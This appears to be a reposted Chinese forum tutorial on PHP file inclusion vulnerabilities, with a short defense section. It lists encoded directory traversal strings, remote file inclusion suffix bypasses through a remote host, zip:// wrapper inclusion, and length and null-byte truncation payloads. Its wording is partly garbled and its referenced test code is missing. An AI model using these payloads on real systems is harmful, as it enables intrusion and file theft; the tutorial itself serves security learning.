    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">%2e%2e%2f</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">..%2f</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">%2e%2e/</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">n</span><span style="color: black;">..\</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">%2e%2e%5c</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">..%5c</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">%2e%2e\</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">l</span><span style="color: black;">二次编码</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">n</span><span style="color: black;">../</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">%252e%252e%252f</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">n</span><span style="color: black;">..\</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">%252e%252e%255c</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">l</span><span style="color: black;">容器/服务器的编码方式</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">n</span><span style="color: black;">../</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">..%c0%af</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">l</span><span style="color: black;">注:</span><span style="color: black;">Why does Directory traversal attack %C0%AF work?</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">%c0%ae%c0%ae/</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">l</span><span style="color: black;">注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">l</span><span style="color: black;">Apache Tomcat Directory Traversal</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">n</span><span style="color: black;">..\</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">u</span><span style="color: black;">..%c1%9c</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">指定后缀</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">接着<span style="color: black;">思虑</span>指定后缀的<span style="color: black;">状况</span>。测试代码:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">URL</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">url格式</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">protocol :// hostname[:port] / path / [;parameters][?query]#fragment</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在远程文件<span style="color: black;">包括</span>漏洞(RFI)中,<span style="color: black;">能够</span>利用query或fragment来绕过后缀限制。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势一:query(?)</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=http://remoteaddr/remoteinfo.txt?</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">则<span style="color: black;">包括</span>的文件为&nbsp;</span><span style="color: black;">http://remoteaddr/remoteinfo.txt?/test/test.php</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">问号后面的部分</span><span style="color: black;">/test/test.php</span><span style="color: black;">,<span style="color: black;">亦</span><span style="color: black;">便是</span>指定的后缀被当作query从而被绕过。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">姿势二:fragment(#)</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=http://remoteaddr/remoteinfo.txt%23</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">则<span style="color: black;">包括</span>的文件为&nbsp;</span><span style="color: black;">http://remoteaddr/remoteinfo.txt#/test/test.php</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">问号后面的部分</span><span style="color: black;">/test/test.php</span><span style="color: black;">,<span style="color: black;">亦</span><span style="color: black;">便是</span>指定的后缀被当作fragment从而被绕过。<span style="color: black;">重视</span>需要把</span><span style="color: black;">#</span><span style="color: black;">进行url编码为</span><span style="color: black;">%23</span><span style="color: black;">。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用协议</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">前面有<span style="color: black;">说到</span>过利用zip协议和phar协议。假设<span style="color: black;">此刻</span>测试代码为:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">构造压缩包如下:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">其中test.php内容为:</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用zip协议,<span style="color: black;">重视</span>要指定绝对路径</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=zip://D:\phpStudy\WWW\fileinclude\chybeta.zip%23chybeta</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">则拼接后为:zip://D:\phpStudy\WWW\fileinclude\chybeta.zip#chybeta/test/test.php</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">能成功<span style="color: black;">包括</span>。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">在利用phar协议的时候有些问题。哪位能指教一下?</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">长度截断</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:php版本 &lt; php 5.2.8</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要<span style="color: black;">持续</span>的重复</span><span style="color: black;">./</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=././././。。。省略。。。././shell.txt</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">则后缀</span><span style="color: black;">/test/test.php</span><span style="color: black;">,在达到最大值后会被直接丢弃掉。</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">0字节截断</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">利用<span style="color: black;">要求</span>:php版本 &lt; php 5.3.4</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">index.php?file=phpinfo.txt%00</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">能利用00截断的场景<span style="color: black;">此刻</span>应该很少了:)</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">防御<span style="color: black;">方法</span></span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">1.</span><span style="color: black;">在<span style="color: black;">非常多</span>场景中都需要去<span style="color: black;">包括</span>web目录之外的文件,<span style="color: black;">倘若</span>php配置了open_basedir,则会<span style="color: black;">包括</span>失败</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">2.</span><span style="color: black;">做好文件的权限管理</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">3.</span><span style="color: black;">对危险字符进行过滤等等</span></p>
    <p style="font-size: 16px; color: black; line-height: 40px; text-align: left; margin-bottom: 15px;"><span style="color: black;">From:https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/#%E6%8C%87%E5%AE%9A%E5%90%8E%E7%BC%80</span></p>




页: [1]
查看完整版本: php文件包含漏洞